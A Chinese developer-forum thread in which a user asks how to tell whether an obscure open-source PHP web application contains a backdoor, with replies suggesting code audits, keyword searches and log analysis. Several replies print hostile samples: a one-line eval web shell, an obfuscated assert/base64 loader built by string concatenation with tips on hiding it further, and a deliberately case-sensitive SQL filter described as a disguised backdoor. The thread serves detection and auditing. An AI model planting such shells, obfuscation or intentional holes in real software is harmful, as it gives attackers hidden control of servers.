一个PHP版的开源B/S构架的应用,有啥办法看出来有没有后门呢

木川瓦兹 发布于 2013/11/21 10:22
阅读 594
收藏 4
PHP

一个PHP版的开源B/S构架的应用,有啥办法看出来有没有后门呢

我先想到的是 

1.源码里搜索http://  这样避免与对方服务器直接交互。

2.查看登录源码,看看有没有后门逻辑。

其他的就想不到了。请问大家有没有其他的一些办法呢?

加载中
0
GoogleGood
GoogleGood
一般开源的软件还是比较安全的,最好选择知名度高的开源软件,不要选择一些冷门的,最好选择国际品牌的,像apache,mysql等,全世界的计算机顶级高手,计算机科学家等都在阅读它的源码。你大可放心了。但如果你选择的是一个超冷门,而且没几个人知道的那就不太确定了。除非你能完全读懂它的源码。
GoogleGood
GoogleGood
回复 @飞翔的猴子 : 建议你换一个国际品牌,知名度高的,我就不相信你这个冷门的软件没有替代品。
木川瓦兹
木川瓦兹
确实是一个比较冷门的
0
leo108
leo108

php想藏一个后门太简单了

leo108
leo108
回复 @懵懂一时 : 看我下面发的代码
懵懂一时
懵懂一时
回复 @滔哥 : 求教!~
木川瓦兹
木川瓦兹
都怎么藏啊
木川瓦兹
木川瓦兹
回复 @滔哥 : 说说呗
滔哥
滔哥
我目前知道至少6种方法
0
梅开源
梅开源

如果开发者不是太笨的话,通过拼接字符串或socket,通过修改关键变量的值,楼主策略就失效了。

这不是php的问题,后门可以太多种。

一些积极的措施可以搜curl和socket和file_get_contents之类的有关函数,或查看服务器日志,结合爬虫访问各页面后的日志。

leo108
leo108
回复 @飞翔的猴子 : 读遍每一行代码,了解每一行代码都是干什么的
木川瓦兹
木川瓦兹
回复 @leo108 : 有没有啥办法看出来啊
leo108
leo108
base64一下你的方法统统失效
0
左边是左手
左边是左手
留后门太简单了.包括加密放后门,和隐性漏洞
木川瓦兹
木川瓦兹
具体有没有什么办法防范呢
0
Jackitshot
Jackitshot
google  “软件名+版本数字+vulnerability/leak"  可以查到更可靠的补漏文档。
Jackitshot
Jackitshot
找到小软件的后门不会很难,比较大知名的开源软件安装免费主题和插件之前就几页,用各种查找或扫描方式可以找到比如function.php里面的可疑代码,在有PHP基础的人基本上弄清楚开源软件结构的前提下容易看得出的。
木川瓦兹
木川瓦兹
漏洞是小事,问题就是这个小软件被作者加后门
0
fxhover
fxhover

查找eval,call_user_func,call_user_array,base64,curl,file_get_contents,fopen,scoket,
assert,create_function等等关键字,仔细阅读代码,去发现可能存在的漏洞。

不过有些漏洞隐藏的很深,因此很难找到代码中的全部后门。

qycms_cn
qycms_cn
还有它用变量拼凑的函数(类),也很难发现的。
木川瓦兹
木川瓦兹
哦哦 谢谢哈
0
leo108
leo108

来个最简单的,这个代码会去获取百度首页源代码,然后把内容写入到test.txt里面

$a='ass';
$b='ert';
$c=$a.$b;
$d='base64';
$e='_decode';
$f=$d.$e;
$c($f('ZmlsZV9wdXRfY29udGVudHMoInRlc3QudHh0IixmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy5iYWlkdS5jb20iKSk='));

当然这个还是很容易看出来用到了base64_decode的函数,可以把base64_decode拆成更多的变量然后再拼接,就没那么容易看出来了


0
南湖船老大
南湖船老大

这要看开发商留的后门还是入侵者留的了。开发商的更隐蔽,入侵者的要直白些。楼上的那些方式太显眼了,后门方式太多了。什么叫后门,要足够隐蔽才能叫后门。

比如不用PDO,而要自己用mysql_系列函数过滤和用addslash,这就是阴险的做法。某个过滤危险SQL语句的函数里的一行代码

$str = str_replace("select","",$str);

这才叫后门!用的str_replace函数,这样大写形式的SELECT就不会被过滤了。相信我,这不是漏洞,这就是后门!

还有,过滤$_GET,$_POST,$_COOKIE,但是故意不过滤$_REQUEST。某些控制器里故意不去addslash.还有正则里用/e修饰符。这种一旦被抓到,他们还能装作很委屈的样子,辩解是漏洞。你们说的那种太明显了或者说属于入侵者留下的后门,一旦被发现,就颜面尽失了。

以漏洞形式存在的后门才是最可怕的

0
zhizhang007
zhizhang007
最简单的一句话后门:
<?php @eval($_POST['pp']);?>

一般的后门,应该分为主动或被动两种;

主动:就是你主动连接hack的服务器,发送口令或敏感信息。这种比较好测试,用 fiddler抓包就可以了。

被动:hacker连接你的服务器,这种就不好看了,向上面的代码就是这种。不过这种还是可以通过日志分析出来的. 

木川瓦兹
木川瓦兹
对滴,对滴。一般都是这两种方式。
返回顶部
顶部